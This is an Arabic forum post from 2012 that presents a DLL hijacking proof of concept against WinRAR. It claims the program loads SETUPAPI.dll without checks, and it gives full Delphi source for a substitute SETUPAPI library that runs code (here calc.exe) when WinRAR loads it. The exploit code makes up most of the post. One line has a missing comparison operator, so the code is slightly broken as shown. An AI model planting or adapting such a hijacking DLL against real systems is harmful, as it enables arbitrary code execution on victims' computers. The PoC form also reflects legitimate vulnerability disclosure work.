إضافة رد
 
أدوات الموضوع انواع عرض الموضوع
  #1  
قديم 2012-04-10, 07:16 PM
الصورة الرمزية صوتك يناديني
| صوتك يناديني  صوتك يناديني غير متواجد حالياً

 
تاريخ التسجيل: Dec 2011
المشاركات: 5,816
صوتك يناديني is on a distinguished road
افتراضي winrar Dll Hijacking _ By Coldzer0 - SETUPAPI.DLL

بسم الله الرحمن الرحيم

السلام عليكم ورحمه الله وبركاته

وانا احاول استخراج اى ثغره

Dll Hijacking

من اى برنامج قولت اجرب على :6: الونرار :6: وهو اكتر برنامج مستخدم حتى الان

لا يخلو منه اى جهاز

وجدت البرنامج يحمل الملف SETUPAPI.dll

بدون فحص للدوال او اى شئ وهنا تعتبر Dll Hijacking

كود:
library SETUPAPI;

{

A : Coldzer0 | AT4RE
D : 4/2012

Dll Hijacking

}

uses
Windows,SysUtils;

function GetWinDir: string;
var
dir: array [0..MAX_PATH] of Char;
begin
GetWindowsDirectory(dir, MAX_PATH);
Result := StrPas(dir);
end;

function WindowsDirectory: string;
var
WinDir: PChar;
begin
WinDir := StrAlloc(MAX_PATH);
GetWindowsDirectory(WinDir, MAX_PATH);
Result := string(WinDir);
if Result[Length(Result)] '\' then
Result := Result + '\';
StrDispose(WinDir);
end;

function GetWindowsDirectory(var S: String): Boolean;
var
Len: Integer;
begin
Len := Windows.GetWindowsDirectory(nil, 0);
if Len > 0 then
begin
SetLength(S, Len);
Len := Windows.GetWindowsDirectory(PChar(S), Len);
SetLength(S, Len);
Result := Len > 0;
end else
Result := False;
end;

begin

WinExec(PAnsichar( PChar(GetWinDir)+ '\system32\calc.exe'),SW_NORMAL);

end.




:12:

ارجو الدعاء لى ولوالدى وجزاكم الله كل خير :32:

__________________
قلبي " معك " لو شفت جسمي مع الناس...
ما غاب " طيفك "عن خيالي دقيقه ..
رد مع اقتباس
إضافة رد

مواقع النشر (المفضلة)

الكلمات الدليلية (Tags)
coldzer0, dll, hijacking, setupapidll, winrar



جديد مواضيع قسم حمايه الاجهزه
 
أدوات الموضوع
انواع عرض الموضوع


winrar Dll Hijacking _ By Coldzer0 - SETUPAPI.DLL


المواضيع المتشابهه
الموضوع كاتب الموضوع المنتدى مشاركات آخر مشاركة
Bifrost Stub Generator All Version Vulnérable { Dll Hijacking } By Moutamared صوتك يناديني حمايه الاجهزه 0 2012-04-08 07:07 PM
البرنامج الشهير لضغط الملفات WinRAR 4.10 Final كويتي برامج جديده 2014 - حل مشاكل الكمبيوتر - دورات اصلاح الكمبيوتر - كل مايخص الكمبيوتر وملحقاته 1 2012-02-20 02:17 AM
برنامج WinRAR v4.10 Final بأخر أصدار + تثبيت صامت بأصداريه(x86/x64) الكاسر برامج جديده 2014 - حل مشاكل الكمبيوتر - دورات اصلاح الكمبيوتر - كل مايخص الكمبيوتر وملحقاته 1 2012-02-07 06:59 PM



الساعة الآن 03:24 PM


Powered by vBulletin Copyright ©2000 - 2014